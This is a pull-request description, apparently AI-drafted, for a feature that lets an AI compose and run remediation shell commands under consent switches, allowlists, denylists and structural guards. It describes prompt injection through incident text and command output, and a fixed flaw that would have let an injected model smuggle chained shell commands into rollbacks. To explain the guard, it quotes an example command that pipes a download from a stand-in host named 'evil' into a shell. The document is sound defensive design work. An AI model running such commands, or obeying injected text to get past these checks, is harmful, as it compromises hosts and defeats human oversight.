feat(auto-remediation): let AI compose and run remediation commands

[simlarsen]

What this adds

Auto-remediation today can only pick a runbook a human already wrote. Remediation coverage is therefore exactly the set of pre-authored runbooks, and the AI cannot adapt one to the situation — steps take no arguments. This PR adds the lane that closes that gap: a rule may let the AI diagnose a signal and compose concrete Bash/SSH commands for Runners the operator opted in.

Two modes, chosen per rule:

• Suggest (default) — the run is read-only. It diagnoses, then records a command plan. A human sees the exact commands, their rationale, expected effect and rollback, and approves the whole plan with one click; the approve API executes it under the approver's identity.
• FullAuto — the run may execute inline, but only commands matching an operator-authored allowlist on the rule. Anything else is refused back to the model, which is told to put it in its recommendations for a human instead.

Why it is safe to turn on

Consent is a three-switch chain, every switch default-off. Project.enableAiCommandExecution, the Runner's canRunAiCommands capability, and the rule's aiComposesCommands. Turning any one off stops execution; the claim path only serves AiRemediation-origin jobs to Runners still holding the capability, so a dashboard revoke takes effect within one heartbeat.

Three layers bound what a command may be:

Layer	Applies to	Purpose
Hard denylist	everything, always	Refuses catastrophic commands even with human approval. A backstop, not a sandbox — and it says so.
Structural guard	auto-execution	No chaining, pipes, redirection or substitution. This is what makes glob allowlists meaningful: systemctl restart * cannot match systemctl restart x && curl evil | sh.
Operator allowlist	auto-execution	The only thing that lets a command run with no human in the loop. No allowlist, no auto-execution.

Rollback commands clear the same bar as forward commands, because the verifier runs them unattended when a service does not recover: allowlisted in FullAuto, structurally simple in both modes.

Verification and undo. Command plans extend the existing verification window; when it closes without recovery, the executed commands that carry a rollback are undone in reverse order. That is the undo the runbook lane never had.

Secrets never reach the model. AI-composed scripts are exempt from {{runbookSecrets.NAME}} substitution at claim time — a placeholder reads harmlessly on an approval card and would otherwise expand to plaintext on the host. Commands reference credentials only by id, resolved server-side for the target Runner. Command output is redacted before it returns to the LLM.

Crash and retry safety. Every command is persisted onto the suggestion before it can run, and a failed write aborts the command. That record is what lets a retried run, a stale-swept run, or the stranded-suggestion sweeper settle what already happened instead of running it again.

Defense in depth on the host. The Runner re-checks its own capability grant and the denylist before executing, so the on-host refusal does not depend on the control plane being honest.

Storm brakes. A per-run command budget, the per-rule hourly circuit breaker (which downgrades FullAuto to Suggest), and a project-wide hourly ceiling enforced at the single enqueue chokepoint so approved plans and rollbacks share it.

Prompt injection

Incident text, telemetry and command output are all attacker-influenceable, and they all flow into this loop. They are framed as <untrusted_context> / <tool_result> with frame-escape neutralised and redaction applied before capping. But the framing is not what makes this safe — the allowlist and the structural guard are. An injected model can only ask for commands the operator already sanctioned, and everything else waits for a human.

Review process

Findings came from a four-lens adversarial review (security, concurrency, cross-layer contracts, schema), each finding independently double-verified by skeptics instructed to refute. 13 of 18 raised findings survived; 10 are fixed here, two of them serious:

1. Critical — rollback bypassed policy. rollbackCommand was only denylist-checked, never structurally guarded or allowlisted, yet auto-executes. A prompt-injected model could have smuggled arbitrary chained shell into a FullAuto plan no human ever saw.
2. High — secret exfiltration macro. The ingress substituted runbook secrets into AI-composed scripts.

Also fixed: ReDoS in the allowlist glob matcher (compiled regex → linear two-pointer matcher), fail-closed audit persistence, a between-command abort so the executor stands down when verification settles, rollback reconciliation for commands whose pod died mid-flight, the project opt-in re-checked at approval time, the hourly cap moved to the enqueue chokepoint, honest dismiss wording when commands had already run, and backslash-escape hardening of the denylist normaliser.

Accepted limitation: a Runner binary older than this change has no agent-side re-check, so for it the server-side gates are the only ones. Documented in Runner/README.md.

Tests

~430 new tests, all green:

• CommandPolicy (68) — a positive and a safe-negative per deny rule, quote/case/backslash evasion, every structural construct, glob anchoring and metacharacter literalness, and a perf assertion pinning the ReDoS fix.
• AiRemediationCommandPlan (95) — fail-closed parsing of every malformed plan shape.
• RemediationExecutionRunner (23), RemediationCommandToolkit (34), CommandPlanExecutor (27), command-plan verification (9), allowlist normalisation (22), rule engine (9), queue routing (5).
• App: claim/enqueue gating (26), approve/dismiss (25). Runner: on-host guard and capability (12).

Two agents mutation-tested the security fixes — reverting each fix and confirming the tests fail. Test authoring also found two real bugs, both fixed: a wildcard-ordering bug in the new glob matcher, and the allowlist crashing when the dashboard's JSON field persists a string.

Pre-existing suites updated where this feature legitimately changed their expectations (a third Runner capability; a new autonomous budget label; the background-lane count now including remediation-execution runs).

npm run fix clean; Common, App, Runner and Dashboard all compile with no new errors. The migration was applied against a dev database and verified.

Full Common suite: 13,369 passing. Three suites fail — SessionReplayAPI, MonacoRuntime, and ZZVerifyChatsAuth — and all three fail identically on clean master (verified in scratch worktrees). This branch touches none of those areas; the third is the same pre-existing Buffer/Uint8Array @types mismatch that also affects TelemetryAPI.ts on master.

Rollout

Everything is off by default; no behaviour changes for existing projects until a project enables AI command execution, an operator opts a Runner in, and someone sets a rule to compose commands. The recommended first step is Suggest mode with no allowlist, which can propose but never auto-execute.

🤖 Generated with Claude Code

https://claude.ai/code/session_01XV4xsEr6curpMnYHibqJwS

[simlarsen]

✅ Snyk checks have passed. No issues have been found so far.

Status	Scan Engine	Critical	High	Medium	Low	Total (0)
✅	Open Source Security	0	0	0	0	0 issues

💻 Catch issues earlier using the plugins for VS Code, JetBrains IDEs, Visual Studio, and Eclipse.